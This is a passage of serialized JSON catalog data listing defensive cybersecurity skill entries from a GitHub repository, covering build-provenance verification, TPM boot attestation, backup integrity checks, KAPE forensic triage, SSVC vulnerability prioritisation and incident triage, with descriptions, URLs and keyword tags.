attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[113],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[115,116,117,118,27,41,119,120,33,121,122,123,124,125,126,127,128,129,130,131],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":133,"name":134,"nameZh":6,"description":135,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":136,"categories":137,"keywords":139,"publishedAt":46},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[138],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[140,128,141,142,27,143,41,33,144,145,146,147,148,149,150,151,152,153,154,155],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":164,"publishedAt":46},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[162,163],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[150,165,166,167,30,41,168,169,144,170,171,172,173,174,175,176,177,178,179,180],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":182,"name":183,"nameZh":6,"description":184,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":185,"categories":186,"keywords":188,"publishedAt":46},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[187],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[189,190,191,41,192,193,194,195,196,197,198,199,200,201,202,203,147,204,205,206],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":208,"name":209,"nameZh":6,"description":210,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":211,"categories":212,"keywords":214,"publishedAt":46},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[213],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[31,215,216,41,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":234,"name":235,"nameZh":6,"description":236,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":237,"categories":238,"keywords":240,"publishedAt":46},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[239],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[27,241,41,242,243,244,245,246,247,248,249,176,250,177,251,252,253,254,255,256],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]